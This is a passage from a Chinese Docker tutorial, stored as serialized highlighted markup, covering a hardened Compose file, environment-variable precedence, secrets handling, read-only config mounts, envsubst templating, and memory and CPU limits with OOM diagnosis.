ulimits",[331,55774,32367],{"class":337},[331,55776,55777],{"class":497},"nofile",[331,55779,348],{"class":337},[331,55781,55782],{"class":344},"65536",[331,55784,9413],{"class":337},[331,55786,55787,55789,55791,55793],{"class":333,"line":775},[331,55788,55091],{"class":497},[331,55790,403],{"class":337},[331,55792,55096],{"class":365},[331,55794,1268],{"class":337},[331,55796,55797,55799],{"class":333,"line":785},[331,55798,53355],{"class":497},[331,55800,53423],{"class":337},[331,55802,55803,55805],{"class":333,"line":795},[331,55804,53366],{"class":497},[331,55806,53423],{"class":337},[331,55808,55809,55811,55813,55815],{"class":333,"line":805},[331,55810,55119],{"class":344},[331,55812,348],{"class":337},[331,55814,18020],{"class":616},[331,55816,55663],{"class":337},[331,55818,55819,55821,55823],{"class":333,"line":819},[331,55820,53825],{"class":497},[331,55822,348],{"class":337},[331,55824,55825],{"class":365},"nginx:1.27-alpine@sha256:2bc60bb1c9d0\n",[331,55827,55828,55830,55832,55834,55836,55839],{"class":333,"line":850},[331,55829,53835],{"class":497},[331,55831,403],{"class":337},[331,55833,54014],{"class":365},[331,55835,409],{"class":337},[331,55837,55838],{"class":365},"\"127.0.0.1:443:443\"",[331,55840,1268],{"class":337},[331,55842,55843,55845,55847,55849,55851,55854],{"class":333,"line":886},[331,55844,53874],{"class":497},[331,55846,403],{"class":337},[331,55848,54025],{"class":365},[331,55850,409],{"class":337},[331,55852,55853],{"class":365},"\".\u002Fnginx\u002Fcerts:\u002Fetc\u002Fnginx\u002Fcerts:ro\"",[331,55855,1268],{"class":337},[331,55857,55858,55860,55862,55864,55866,55868,55870,55872],{"class":333,"line":909},[331,55859,53886],{"class":497},[331,55861,32367],{"class":337},[331,55863,54036],{"class":497},[331,55865,32367],{"class":337},[331,55867,53896],{"class":497},[331,55869,348],{"class":337},[331,55871,53901],{"class":365},[331,55873,11466],{"class":337},[331,55875,55876,55878],{"class":333,"line":918},[331,55877,53781],{"class":497},[331,55879,53423],{"class":337},[331,55881,55882,55884,55886,55888],{"class":333,"line":1232},[331,55883,55119],{"class":344},[331,55885,348],{"class":337},[331,55887,18020],{"class":616},[331,55889,55663],{"class":337},[331,55891,55892,55894,55896],{"class":333,"line":1253},[331,55893,53825],{"class":497},[331,55895,348],{"class":337},[331,55897,55898],{"class":365},"ghcr.io\u002Fexample\u002Fshop-api:1.8.3@sha256:9c1f0ea7b2d4\n",[331,55900,55901,55904,55906,55908],{"class":333,"line":1259},[331,55902,55903],{"class":497},"    expose",[331,55905,403],{"class":337},[331,55907,55155],{"class":365},[331,55909,1268],{"class":337},[331,55911,55912,55914,55916,55918,55920,55922,55924,55926,55928,55930],{"class":333,"line":1271},[331,55913,53847],{"class":497},[331,55915,32367],{"class":337},[331,55917,47781],{"class":497},[331,55919,348],{"class":337},[331,55921,53818],{"class":365},[331,55923,409],{"class":337},[331,55925,47787],{"class":497},[331,55927,348],{"class":337},[331,55929,55138],{"class":365},[331,55931,9413],{"class":337},[331,55933,55934,55937,55940,55943,55945,55948,55950,55952,55954,55957],{"class":333,"line":1277},[331,55935,55936],{"class":497},"    configs",[331,55938,55939],{"class":337},": [{ ",[331,55941,55942],{"class":497},"source",[331,55944,348],{"class":337},[331,55946,55947],{"class":365},"app-conf",[331,55949,409],{"class":337},[331,55951,6384],{"class":497},[331,55953,348],{"class":337},[331,55955,55956],{"class":365},"\u002Fetc\u002Fshop\u002Fconfig.yaml",[331,55958,12809],{"class":337},[331,55960,55961,55964,55966,55969],{"class":333,"line":1293},[331,55962,55963],{"class":497},"    secrets",[331,55965,403],{"class":337},[331,55967,55968],{"class":365},"database_url",[331,55970,1268],{"class":337},[331,55972,55973,55975],{"class":333,"line":1302},[331,55974,53922],{"class":497},[331,55976,53423],{"class":337},[331,55978,55979,55981,55983,55985,55987,55989,55991,55993,55995,55997],{"class":333,"line":1311},[331,55980,53929],{"class":497},[331,55982,403],{"class":337},[331,55984,53934],{"class":365},[331,55986,409],{"class":337},[331,55988,46779],{"class":365},[331,55990,409],{"class":337},[331,55992,53943],{"class":365},[331,55994,409],{"class":337},[331,55996,53948],{"class":365},[331,55998,1268],{"class":337},[331,56000,56001,56003,56005],{"class":333,"line":1323},[331,56002,53955],{"class":497},[331,56004,348],{"class":337},[331,56006,53960],{"class":365},[331,56008,56009,56012,56014],{"class":333,"line":1357},[331,56010,56011],{"class":497},"      timeout",[331,56013,348],{"class":337},[331,56015,56016],{"class":365},"3s\n",[331,56018,56019,56021,56023],{"class":333,"line":1367},[331,56020,53965],{"class":497},[331,56022,348],{"class":337},[331,56024,53970],{"class":344},[331,56026,56027,56029,56031],{"class":333,"line":1378},[331,56028,53975],{"class":497},[331,56030,348],{"class":337},[331,56032,53980],{"class":365},[331,56034,56035,56038,56040,56043,56045,56048,56050,56053,56055,56058,56060,56063,56065,56068],{"class":333,"line":1383},[331,56036,56037],{"class":497},"    deploy",[331,56039,32367],{"class":337},[331,56041,56042],{"class":497},"resources",[331,56044,32367],{"class":337},[331,56046,56047],{"class":497},"limits",[331,56049,32367],{"class":337},[331,56051,56052],{"class":497},"memory",[331,56054,348],{"class":337},[331,56056,56057],{"class":365},"512M",[331,56059,409],{"class":337},[331,56061,56062],{"class":497},"cpus",[331,56064,348],{"class":337},[331,56066,56067],{"class":365},"\"1.5\"",[331,56069,56070],{"class":337}," } } }\n",[331,56072,56073,56075,56077,56079,56081,56083,56085,56087,56089,56091,56093,56095,56097,56099],{"class":333,"line":1388},[331,56074,53886],{"class":497},[331,56076,32367],{"class":337},[331,56078,53891],{"class":497},[331,56080,32367],{"class":337},[331,56082,53896],{"class":497},[331,56084,348],{"class":337},[331,56086,53901],{"class":365},[331,56088,53904],{"class":337},[331,56090,12509],{"class":497},[331,56092,32367],{"class":337},[331,56094,53896],{"class":497},[331,56096,348],{"class":337},[331,56098,53915],{"class":365},[331,56100,11466],{"class":337},[331,56102,56103,56105],{"class":333,"line":1393},[331,56104,54043],{"class":497},[331,56106,53423],{"class":337},[331,56108,56109,56111,56113,56115],{"class":333,"line":33405},[331,56110,55119],{"class":344},[331,56112,348],{"class":337},[331,56114,18020],{"class":616},[331,56116,55663],{"class":337},[331,56118,56119,56121,56123],{"class":333,"line":33426},[331,56120,53825],{"class":497},[331,56122,348],{"class":337},[331,56124,56125],{"class":365},"postgres:16.4@sha256:6d7df8c5b0f8\n",[331,56127,56128,56130,56132,56135,56137,56140],{"class":333,"line":33436},[331,56129,53847],{"class":497},[331,56131,32367],{"class":337},[331,56133,56134],{"class":497},"POSTGRES_PASSWORD_FILE",[331,56136,348],{"class":337},[331,56138,56139],{"class":365},"\u002Frun\u002Fsecrets\u002Fdb_password",[331,56141,9413],{"class":337},[331,56143,56144,56146,56148,56150],{"class":333,"line":33463},[331,56145,53874],{"class":497},[331,56147,403],{"class":337},[331,56149,54087],{"class":365},[331,56151,1268],{"class":337},[331,56153,56154,56156,56158,56161],{"class":333,"line":33472},[331,56155,55963],{"class":497},[331,56157,403],{"class":337},[331,56159,56160],{"class":365},"db_password",[331,56162,1268],{"class":337},[331,56164,56165,56168,56170,56172,56174,56176],{"class":333,"line":33481},[331,56166,56167],{"class":497},"    networks",[331,56169,403],{"class":337},[331,56171,55096],{"class":365},[331,56173,409],{"class":337},[331,56175,55430],{"class":365},[331,56177,1268],{"class":337},[331,56179,56180,56182,56184,56186,56188,56190,56192,56194,56196,56198,56200,56202,56204,56206,56208,56210],{"class":333,"line":33486},[331,56181,53922],{"class":497},[331,56183,32367],{"class":337},[331,56185,1195],{"class":497},[331,56187,403],{"class":337},[331,56189,54102],{"class":365},[331,56191,409],{"class":337},[331,56193,54107],{"class":365},[331,56195,54110],{"class":337},[331,56197,39585],{"class":497},[331,56199,348],{"class":337},[331,56201,54117],{"class":365},[331,56203,409],{"class":337},[331,56205,54122],{"class":497},[331,56207,348],{"class":337},[331,56209,6508],{"class":344},[331,56211,9413],{"class":337},[331,56213,56214,56216],{"class":333,"line":33495},[331,56215,54133],{"class":497},[331,56217,53423],{"class":337},[331,56219,56220,56222,56224,56226],{"class":333,"line":33501},[331,56221,55119],{"class":344},[331,56223,348],{"class":337},[331,56225,18020],{"class":616},[331,56227,55663],{"class":337},[331,56229,56230,56232,56234],{"class":333,"line":33518},[331,56231,53825],{"class":497},[331,56233,348],{"class":337},[331,56235,56236],{"class":365},"redis:7.2-alpine@sha256:1a2b3c4d5e6f\n",[331,56238,56239,56241,56243,56245,56247,56249,56251,56253,56255,56258,56260,56263],{"class":333,"line":33541},[331,56240,54149],{"class":497},[331,56242,403],{"class":337},[331,56244,54154],{"class":365},[331,56246,409],{"class":337},[331,56248,54159],{"class":365},[331,56250,409],{"class":337},[331,56252,54164],{"class":365},[331,56254,409],{"class":337},[331,56256,56257],{"class":365},"\"--maxmemory\"",[331,56259,409],{"class":337},[331,56261,56262],{"class":365},"\"256mb\"",[331,56264,1268],{"class":337},[331,56266,56267,56269,56271,56273],{"class":333,"line":33562},[331,56268,53874],{"class":497},[331,56270,403],{"class":337},[331,56272,54175],{"class":365},[331,56274,1268],{"class":337},[331,56276,56277,56279,56281,56283,56285,56287,56289,56292,56294,56297,56299,56301,56303,56305,56307,56309,56311,56313],{"class":333,"line":33583},[331,56278,53922],{"class":497},[331,56280,32367],{"class":337},[331,56282,1195],{"class":497},[331,56284,403],{"class":337},[331,56286,53934],{"class":365},[331,56288,409],{"class":337},[331,56290,56291],{"class":365},"\"redis-cli\"",[331,56293,409],{"class":337},[331,56295,56296],{"class":365},"\"ping\"",[331,56298,54110],{"class":337},[331,56300,39585],{"class":497},[331,56302,348],{"class":337},[331,56304,54117],{"class":365},[331,56306,409],{"class":337},[331,56308,54122],{"class":497},[331,56310,348],{"class":337},[331,56312,351],{"class":344},[331,56314,9413],{"class":337},[331,56316,56317,56319],{"class":333,"line":33592},[331,56318,53383],{"class":497},[331,56320,53423],{"class":337},[331,56322,56323,56325],{"class":333,"line":33601},[331,56324,53393],{"class":497},[331,56326,56327],{"class":337},": {}\n",[331,56329,56330,56332,56334,56336,56338,56340],{"class":333,"line":33610},[331,56331,55394],{"class":497},[331,56333,32367],{"class":337},[331,56335,15788],{"class":497},[331,56337,348],{"class":337},[331,56339,1131],{"class":344},[331,56341,9413],{"class":337},[331,56343,56345,56347,56349,56351,56353,56355],{"class":333,"line":56344},52,[331,56346,53409],{"class":497},[331,56348,32367],{"class":337},[331,56350,54186],{"class":497},[331,56352,54189],{"class":337},[331,56354,54192],{"class":497},[331,56356,54200],{"class":337},[331,56358,56360,56362,56364,56366,56368,56370,56372,56375],{"class":333,"line":56359},53,[331,56361,53428],{"class":497},[331,56363,32367],{"class":337},[331,56365,55947],{"class":497},[331,56367,32367],{"class":337},[331,56369,53443],{"class":497},[331,56371,348],{"class":337},[331,56373,56374],{"class":365},".\u002Fconfig\u002Fapp.prod.yaml",[331,56376,11466],{"class":337},[331,56378,56380,56382],{"class":333,"line":56379},54,[331,56381,53455],{"class":497},[331,56383,53423],{"class":337},[331,56385,56387,56389,56391,56393,56395,56397],{"class":333,"line":56386},55,[331,56388,53465],{"class":497},[331,56390,32367],{"class":337},[331,56392,53443],{"class":497},[331,56394,348],{"class":337},[331,56396,53474],{"class":365},[331,56398,9413],{"class":337},[331,56400,56402,56405,56407,56409,56411,56414],{"class":333,"line":56401},56,[331,56403,56404],{"class":497},"  database_url",[331,56406,32367],{"class":337},[331,56408,53443],{"class":497},[331,56410,348],{"class":337},[331,56412,56413],{"class":365},".\u002Fsecrets\u002Fdatabase_url.txt",[331,56415,9413],{"class":337},[11,56417,56418,56419,56421,56422,56424,56425,56427,56428,56430,56431,56433,56434,56436],{},"这份配置里每一条都能在前面章节找到理由：digest 锁版本（第十章）、",[22,56420,48008],{}," 而非 ",[22,56423,53560],{}," 让 api 不对外（第八章）、",[22,56426,15788],{}," 网络隔离数据库、",[22,56429,43310],{}," + tmpfs（第十五章）、",[22,56432,29189],{},"（本章）、healthcheck + ",[22,56435,53901],{},"（第十一章）、日志轮转（第十六章）、密钥走 secrets 文件（下一章主题）。",[11,56438,56439],{},"下一章就专门讲这条线：配置与密钥怎么进容器。",[48,56441,56443],{"id":56442},"十三配置与密钥优先级secrets-与别把配置打进镜像","十三、配置与密钥：优先级、secrets 与「别把配置打进镜像」",[53,56445,56446],{"id":56446},"环境变量注入的四条路径与优先级",[11,56448,56449],{},"同一个变量在四个地方都能写，最终生效的是优先级最高的那个：",[308,56451,56453],{"className":3902,"code":56452,"language":3904,"meta":314,"style":314},"printf 'LOG_LEVEL=debug\\nPORT=3000\\n' > .env.runtime\ndocker run --rm -e LOG_LEVEL=warn --env-file .env.runtime myimg:1.0 printenv LOG_LEVEL\n",[22,56454,56455,56468],{"__ignoreMap":314},[331,56456,56457,56459,56462,56465],{"class":333,"line":334},[331,56458,48991],{"class":344},[331,56460,56461],{"class":365}," 'LOG_LEVEL=debug\\nPORT=3000\\n'",[331,56463,56464],{"class":616}," >",[331,56466,56467],{"class":365}," .env.runtime\n",[331,56469,56470,56472,56474,56476,56479,56482,56485,56488,56491,56494],{"class":333,"line":341},[331,56471,36862],{"class":501},[331,56473,5020],{"class":365},[331,56475,48890],{"class":344},[331,56477,56478],{"class":344}," -e",[331,56480,56481],{"class":365}," LOG_LEVEL=warn",[331,56483,56484],{"class":344}," --env-file",[331,56486,56487],{"class":365}," .env.runtime",[331,56489,56490],{"class":365}," myimg:1.0",[331,56492,56493],{"class":365}," printenv",[331,56495,56496],{"class":365}," LOG_LEVEL\n",[57,56498,56499,56511],{},[60,56500,56501],{},[63,56502,56503,56506,56508],{},[66,56504,56505],{},"优先级（低 → 高）",[66,56507,11659],{},[66,56509,56510],{},"特点",[79,56512,56513,56525,56542,56555],{},[63,56514,56515,56517,56522],{},[84,56516,7993],{},[84,56518,56519,56520],{},"Dockerfile ",[22,56521,46930],{},[84,56523,56524],{},"进镜像，所有环境共享，只能被覆盖不能删",[63,56526,56527,56529,56537],{},[84,56528,9292],{},[84,56530,56531,56534,56535],{},[22,56532,56533],{},"--env-file"," \u002F Compose ",[22,56536,53613],{},[84,56538,56539,56540],{},"文件里的值；Compose 中多个文件",[17,56541,54878],{},[63,56543,56544,56546,56552],{},[84,56545,351],{},[84,56547,56548,56534,56550],{},[22,56549,49429],{},[22,56551,53591],{},[84,56553,56554],{},"命令行级，覆盖 env_file",[63,56556,56557,56559,56567],{},[84,56558,15097],{},[84,56560,56561,56562,12247,56564,56566],{},"Compose ",[22,56563,53591],{},[22,56565,54712],{}," 插值 + 宿主真实环境",[84,56568,56569,56571],{},[22,56570,11149],{}," 只做文本展开，不影响上面的覆盖次序",[11,56573,56574,56575,56587,56588,56590,56591,56593,56594,12247,56596,56599],{},"一句话记忆：",[17,56576,56577,56579,56580,18878,56582,56584,56585],{},[22,56578,53591],{}," 压过 ",[22,56581,53613],{},[22,56583,53613],{}," 压过镜像 ",[22,56586,46930],{},"。而 Compose 的 ",[22,56589,11149],{},"（插值用）和 ",[22,56592,53613],{},"（注入容器用）根本不在同一层——",[22,56595,11149],{},[22,56597,56598],{},"APP_VERSION"," 只会出现在 yaml 里，不会自动进容器。这是新手最常见的「我在 .env 写了怎么容器里读不到」。",[11,56601,56602,56603,26190,56606,161],{},"验证永远是同一条命令：",[22,56604,56605],{},"docker exec shop-api printenv",[22,56607,56608],{},"docker inspect --format '{{json .Config.Env}}'",[53,56610,56612],{"id":56611},"_12-factor-在容器里的落地","12-factor 在容器里的落地",[57,56614,56615,56628],{},[60,56616,56617],{},[63,56618,56619,56622,56625],{},[66,56620,56621],{},"原则",[66,56623,56624],{},"容器里的做法",[66,56626,56627],{},"反例",[79,56629,56630,56644,56661,56672,56683,56694],{},[63,56631,56632,56635,56638],{},[84,56633,56634],{},"配置存环境",[84,56636,56637],{},"环境变量 \u002F secrets 文件",[84,56639,56640,56643],{},[22,56641,56642],{},"config.prod.yaml"," 打进镜像",[63,56645,56646,56649,56652],{},[84,56647,56648],{},"日志到标准输出",[84,56650,56651],{},"不写日志文件，交给驱动与采集",[84,56653,56654,56655,4839,56658,56660],{},"容器内 ",[22,56656,56657],{},"\u002Fvar\u002Flog\u002Fapp\u002F*.log",[22,56659,50022],{}," 全空）",[63,56662,56663,56666,56669],{},[84,56664,56665],{},"一个进程一个容器",[84,56667,56668],{},"web\u002Fapi\u002Fworker 分开",[84,56670,56671],{},"一个容器跑 nginx + php-fpm + cron",[63,56673,56674,56677,56680],{},[84,56675,56676],{},"快速启动与优雅停机",[84,56678,56679],{},"就绪探针 + SIGTERM 处理",[84,56681,56682],{},"启动要跑 30 秒初始化脚本",[63,56684,56685,56688,56691],{},[84,56686,56687],{},"无状态",[84,56689,56690],{},"状态放卷\u002F对象存储\u002FDB",[84,56692,56693],{},"session 存进程内存（扩容即掉线）",[63,56695,56696,56699,56702],{},[84,56697,56698],{},"构建一次多环境跑",[84,56700,56701],{},"镜像不变，只换环境变量",[84,56703,56704],{},"生产用「生产版 Dockerfile」重新构建",[11,56706,56707,56708,56711,56712,56714],{},"核心是最后一条：",[17,56709,56710],{},"镜像不可变，环境差异全靠注入","。这也回答了「为什么不要把配置 COPY 进镜像」——一旦 COPY，每个环境都要构建一个镜像，缓存、回滚、审计全部翻倍；而且配置文件里通常藏着连接串和密钥，镜像一旦被 pull 就等于泄密（第十五章演示 ",[22,56713,47134],{}," 捞密钥）。",[53,56716,56718],{"id":56717},"secretsswarm-原生-vs-compose-的-file-driver","secrets：Swarm 原生 vs Compose 的 file driver",[308,56720,56722],{"className":53346,"code":56721,"language":53348,"meta":314,"style":314},"secrets:\n  db_password:\n    file: .\u002Fsecrets\u002Fdb_password.txt     # file driver：本质是把这个文件挂到 \u002Frun\u002Fsecrets\u002Fdb_password\n  jwt_key:\n    source: jwt_key                      # 外部已存在的 secret（Swarm 或外部管理）\n",[22,56723,56724,56730,56736,56748,56755],{"__ignoreMap":314},[331,56725,56726,56728],{"class":333,"line":334},[331,56727,53455],{"class":497},[331,56729,53423],{"class":337},[331,56731,56732,56734],{"class":333,"line":341},[331,56733,53465],{"class":497},[331,56735,53423],{"class":337},[331,56737,56738,56741,56743,56745],{"class":333,"line":357},[331,56739,56740],{"class":497},"    file",[331,56742,348],{"class":337},[331,56744,53474],{"class":365},[331,56746,56747],{"class":1003},"     # file driver：本质是把这个文件挂到 \u002Frun\u002Fsecrets\u002Fdb_password\n",[331,56749,56750,56753],{"class":333,"line":371},[331,56751,56752],{"class":497},"  jwt_key",[331,56754,53423],{"class":337},[331,56756,56757,56760,56762,56765],{"class":333,"line":384},[331,56758,56759],{"class":497},"    source",[331,56761,348],{"class":337},[331,56763,56764],{"class":365},"jwt_key",[331,56766,56767],{"class":1003},"                      # 外部已存在的 secret（Swarm 或外部管理）\n",[11,56769,56770,56771,56774,56775,56778,56779,56782,56783,4839,56786,56789,56790,56797,56798,56800,56801,272,56803,272,56806,56809],{},"必须知道的区别：",[17,56772,56773],{},"非 Swarm 环境下 Compose 的 secret 就是 bind mount 一个文件","，落盘、可读、宿主上明文存在；只有 Swarm 才把它放进内存（tmpfs）并加密分发。",[22,56776,56777],{},"docker secret create"," 在非 Swarm 节点会报 ",[22,56780,56781],{},"This node is not a swarm manager","。所以「用了 secrets 就安全」是不成立的——真正的收益是",[17,56784,56785],{},"约定路径",[22,56787,56788],{},"\u002Frun\u002Fsecrets\u002F\u003Cname>","）与",[17,56791,56792,56793,56796],{},"应用用 ",[22,56794,56795],{},"*_FILE"," 变量读","（如 ",[22,56799,56134],{},"），让密钥不进环境变量列表（",[22,56802,50234],{},[22,56804,56805],{},"printenv",[22,56807,56808],{},"\u002Fproc\u002F1\u002Fenviron"," 都能读到环境变量，而 secret 文件需要能访问挂载点才行）。",[11,56811,56812,56813,161],{},"临时与内存型的配置用 tmpfs（第九章）：",[22,56814,56815],{},"--mount type=tmpfs,target=\u002Frun\u002Fsecrets,tmpfs-size=1m",[53,56817,56819],{"id":56818},"挂载配置目录-只读以及-gitignore","挂载配置目录 + 只读，以及 .gitignore",[308,56821,56823],{"className":3902,"code":56822,"language":3904,"meta":314,"style":314},"docker run -d --name shop-web -v \u002Fsrv\u002Fshop\u002Fnginx\u002Fconf.d:\u002Fetc\u002Fnginx\u002Fconf.d:ro nginx:1.27-alpine\n",[22,56824,56825],{"__ignoreMap":314},[331,56826,56827,56829,56831,56833,56835,56837,56839,56842],{"class":333,"line":334},[331,56828,36862],{"class":501},[331,56830,5020],{"class":365},[331,56832,36867],{"class":344},[331,56834,36870],{"class":344},[331,56836,49096],{"class":365},[331,56838,51745],{"class":344},[331,56840,56841],{"class":365}," \u002Fsrv\u002Fshop\u002Fnginx\u002Fconf.d:\u002Fetc\u002Fnginx\u002Fconf.d:ro",[331,56843,51791],{"class":365},[11,56845,56846,56848,56849,56851,56852,56855,56856,7131,56859,56862,56863,6745,56865,56867],{},[22,56847,51906],{}," 不是可选的礼貌：配置文件被容器改坏（某些镜像会在启动脚本里 ",[22,56850,55213],{}," 写回 ",[22,56853,56854],{},"\u002Fetc\u002F...","）时，只读挂载能让失败在第一次写就暴露，而不是悄悄污染宿主。宿主机上把配置放在 ",[22,56857,56858],{},"\u002Fsrv\u002F\u003Cproject>\u002Fconfig",[22,56860,56861],{},"chmod 0640 root:shop"," 收紧，容器以 ",[22,56864,52372],{},[22,56866,52347],{}," 匹配读组。",[11,56869,56870,56872],{},[22,56871,11576],{}," 里和容器相关的必备项：",[308,56874,56877],{"className":56875,"code":56876,"language":313},[311],".env\n.env.*\n!.env.example\nsecrets\u002F\n*.pem\n*.key\ndocker-compose.override.yaml\ncompose.override.yaml\n\u002Fdata\u002F\n",[22,56878,56876],{"__ignoreMap":314},[11,56880,56881,56883],{},[22,56882,11580],{},"（只有键名和假值）应该提交，它是给同事的「配置契约」。",[53,56885,56887],{"id":56886},"模板化配置一行-envsubst","模板化配置：一行 envsubst",[11,56889,56890],{},"配置里需要变量替换时（nginx upstream、数据库连接串），把模板留在镜像里、启动时渲染，是 12-factor 与「不重新构建」的折中：",[308,56892,56894],{"className":3902,"code":56893,"language":3904,"meta":314,"style":314},"envsubst '${DB_HOST} ${DB_PORT}' \u003C \u002Fetc\u002Fshop\u002Fapp.yaml.tpl > \u002Fetc\u002Fshop\u002Fapp.yaml\n",[22,56895,56896],{"__ignoreMap":314},[331,56897,56898,56900,56903,56906,56909,56911],{"class":333,"line":334},[331,56899,55213],{"class":501},[331,56901,56902],{"class":365}," '${DB_HOST} ${DB_PORT}'",[331,56904,56905],{"class":616}," \u003C",[331,56907,56908],{"class":365}," \u002Fetc\u002Fshop\u002Fapp.yaml.tpl",[331,56910,56464],{"class":616},[331,56912,56913],{"class":365}," \u002Fetc\u002Fshop\u002Fapp.yaml\n",[11,56915,56916,56917,56919,56920,56923,56924,56926,56927,268,56930,56933,56934,56937,56938,56941,56942,56944],{},"官方 ",[22,56918,53376],{}," 已经内置这个机制（",[22,56921,56922],{},"\u002Fdocker-entrypoint.envsubst.sh"," 目录约定）。两个坑：",[22,56925,55213],{}," 不带参数会替换",[17,56928,56929],{},"所有",[22,56931,56932],{},"$VAR","（把应用里的 ",[22,56935,56936],{},"$2","、shell 变量一起吃掉），所以一定限定变量名单；渲染目标是 bind mount 来的路径时会因 ",[22,56939,56940],{},":ro"," 失败——那种情况请挂模板目录、输出到容器内可写路径或 tmpfs（第九章的 ",[22,56943,50054],{}," 可以帮你找出所有需要可写的路径）。",[48,56946,56948],{"id":56947},"十四资源限制与性能内存cpu-与-137-的定位路径","十四、资源限制与性能：内存、CPU 与 137 的定位路径",[53,56950,56952,56953,5160,56955,56958],{"id":56951},"内存-memory-与-memory-swap-的语义陷阱","内存：",[22,56954,45990],{},[22,56956,56957],{},"--memory-swap"," 的语义陷阱",[57,56960,56961,56969],{},[60,56962,56963],{},[63,56964,56965,56967],{},[66,56966,19254],{},[66,56968,49671],{},[79,56970,56971,56986,56999,57009,57019],{},[63,56972,56973,56979],{},[84,56974,56975,56978],{},[22,56976,56977],{},"-m 512m","（不写 swap）",[84,56980,56981,56982,56985],{},"内存 512m + ",[17,56983,56984],{},"等量 swap","（实际默认 swap 上限 = 2× 内存，即总 1024m）",[63,56987,56988,56993],{},[84,56989,56990],{},[22,56991,56992],{},"-m 512m --memory-swap 512m",[84,56994,56995,56998],{},[17,56996,56997],{},"禁用 swap","（总可用就是 512m）",[63,57000,57001,57006],{},[84,57002,57003],{},[22,57004,57005],{},"-m 512m --memory-swap 768m",[84,57007,57008],{},"512m 内存 + 256m swap",[63,57010,57011,57016],{},[84,57012,57013],{},[22,57014,57015],{},"-m 512m --memory-swap -1",[84,57017,57018],{},"swap 不限（危险，磁盘 IO 可能拖垮宿主）",[63,57020,57021,57026],{},[84,57022,57023],{},[22,57024,57025],{},"--memory-reservation 256m",[84,57027,57028],{},"软下限，内存紧张时才尝试回收",[11,57030,57031,18283,57033,57036,57037,57040,57041,57043,57044,4839,57047,57049,57050,57052],{},[22,57032,56957],{},[17,57034,57035],{},"总量","（内存 + swap），不是 swap 量——这个反直觉定义让「写 0」有特殊意义：",[22,57038,57039],{},"--memory-swap 0"," 无效，想禁 swap 要写成与 ",[22,57042,49561],{}," 相等。生产建议",[17,57045,57046],{},"显式禁 swap",[22,57048,56957],{}," 等于 ",[22,57051,45990],{},"），因为被换出的容器进程会出现「没被 OOM 但响应巨慢」的诡异状态，比直接 OOM 更难诊断。",[11,57054,57055,57056,57059,57060,57063,57064,49843,57066,4813],{},"cgroup v1 与 v2 的差异要知道：v2 下没有独立的 ",[22,57057,57058],{},"memory.memsw.limit_in_bytes","，Docker 用 ",[22,57061,57062],{},"memory.swap.max"," 表示「swap 部分」，同样的参数在不同机器上落点不同（",[22,57065,46267],{},[22,57067,46318],{},[53,57069,57071],{"id":57070},"cpu-与进程数","CPU 与进程数",[308,57073,57075],{"className":3902,"code":57074,"language":3904,"meta":314,"style":314},"docker run -d --cpus 1.5 --cpuset-cpus 2,3 --cpu-shares 512 --pids-limit 256 shop-api\n",[22,57076,57077],{"__ignoreMap":314},[331,57078,57079,57081,57083,57085,57088,57091,57094,57097,57100,57103,57106,57109],{"class":333,"line":334},[331,57080,36862],{"class":501},[331,57082,5020],{"class":365},[331,57084,36867],{"class":344},[331,57086,57087],{"class":344}," --cpus",[331,57089,57090],{"class":344}," 1.5",[331,57092,57093],{"class":344}," --cpuset-cpus",[331,57095,57096],{"class":365}," 2,3",[331,57098,57099],{"class":344}," --cpu-shares",[331,57101,57102],{"class":344}," 512",[331,57104,57105],{"class":344}," --pids-limit",[331,57107,57108],{"class":344}," 256",[331,57110,57111],{"class":365}," shop-api\n",[57,57113,57114,57125],{},[60,57115,57116],{},[63,57117,57118,57120,57122],{},[66,57119,37711],{},[66,57121,50818],{},[66,57123,57124],{},"要点",[79,57126,57127,57150,57167,57180],{},[63,57128,57129,57133,57139],{},[84,57130,57131],{},[22,57132,49582],{},[84,57134,57135,57136,5149],{},"cgroup quota（",[22,57137,57138],{},"cpu.max",[84,57140,57141,57142,57145,57146,57149],{},"硬上限；",[22,57143,57144],{},"1.5"," = 每秒最多用 1.5 核时间。写 ",[22,57147,57148],{},"0.5"," 表示半核",[63,57151,57152,57158,57161],{},[84,57153,57154,57157],{},[22,57155,57156],{},"--cpu-shares","（默认 1024）",[84,57159,57160],{},"权重",[84,57162,57163,57166],{},[17,57164,57165],{},"只在 CPU 争抢时生效","；空闲时容器能用满宿主。别把它当上限",[63,57168,57169,57174,57177],{},[84,57170,57171],{},[22,57172,57173],{},"--cpuset-cpus",[84,57175,57176],{},"绑核",[84,57178,57179],{},"减少调度迁移与 NUMA 跨节点，低延迟场景用",[63,57181,57182,57187,57190],{},[84,57183,57184],{},[22,57185,57186],{},"--pids-limit",[84,57188,57189],{},"进程\u002F线程总数",[84,57191,57192],{},"防 fork 炸弹打爆宿主（默认 unlimited 是个隐患）",[11,57194,57195,5160,57197,57199,57200,57202],{},[22,57196,46125],{},[22,57198,57156],{}," 的区别是「天花板」和「分蛋糕比例」——把后者当限制用的人，会发现 ",[22,57201,45986],{}," 里 CPU 偶尔 800%，那不是 bug。",[53,57204,57206],{"id":57205},"oom-与-exit-137-的定位路径","OOM 与 exit 137 的定位路径",[11,57208,57209,57210,57212],{},"看到 ",[22,57211,45994],{}," 时的四步（顺序不能乱）：",[308,57214,57216],{"className":3902,"code":57215,"language":3904,"meta":314,"style":314},"docker inspect shop-api --format 'oom={{.State.OOMKilled}} exit={{.State.ExitCode}}'\ndocker stats --no-stream shop-api                   # 看 LIMIT 是不是本来就设小了\ndmesg -T | grep -i -E 'oom|killed process' | tail   # 或 journalctl -k\ndocker events --since 2h --filter event=die\n",[22,57217,57218,57231,57244,57271],{"__ignoreMap":314},[331,57219,57220,57222,57224,57226,57228],{"class":333,"line":334},[331,57221,36862],{"class":501},[331,57223,48875],{"class":365},[331,57225,49945],{"class":365},[331,57227,50255],{"class":344},[331,57229,57230],{"class":365}," 'oom={{.State.OOMKilled}} exit={{.State.ExitCode}}'\n",[331,57232,57233,57235,57237,57239,57241],{"class":333,"line":341},[331,57234,36862],{"class":501},[331,57236,49955],{"class":365},[331,57238,49958],{"class":344},[331,57240,49945],{"class":365},[331,57242,57243],{"class":1003},"                   # 看 LIMIT 是不是本来就设小了\n",[331,57245,57246,57249,57252,57254,57256,57258,57261,57264,57266,57268],{"class":333,"line":357},[331,57247,57248],{"class":501},"dmesg",[331,57250,57251],{"class":344}," -T",[331,57253,15984],{"class":616},[331,57255,16363],{"class":501},[331,57257,53226],{"class":344},[331,57259,57260],{"class":344}," -E",[331,57262,57263],{"class":365}," 'oom|killed process'",[331,57265,15984],{"class":616},[331,57267,16407],{"class":501},[331,57269,57270],{"class":1003},"   # 或 journalctl 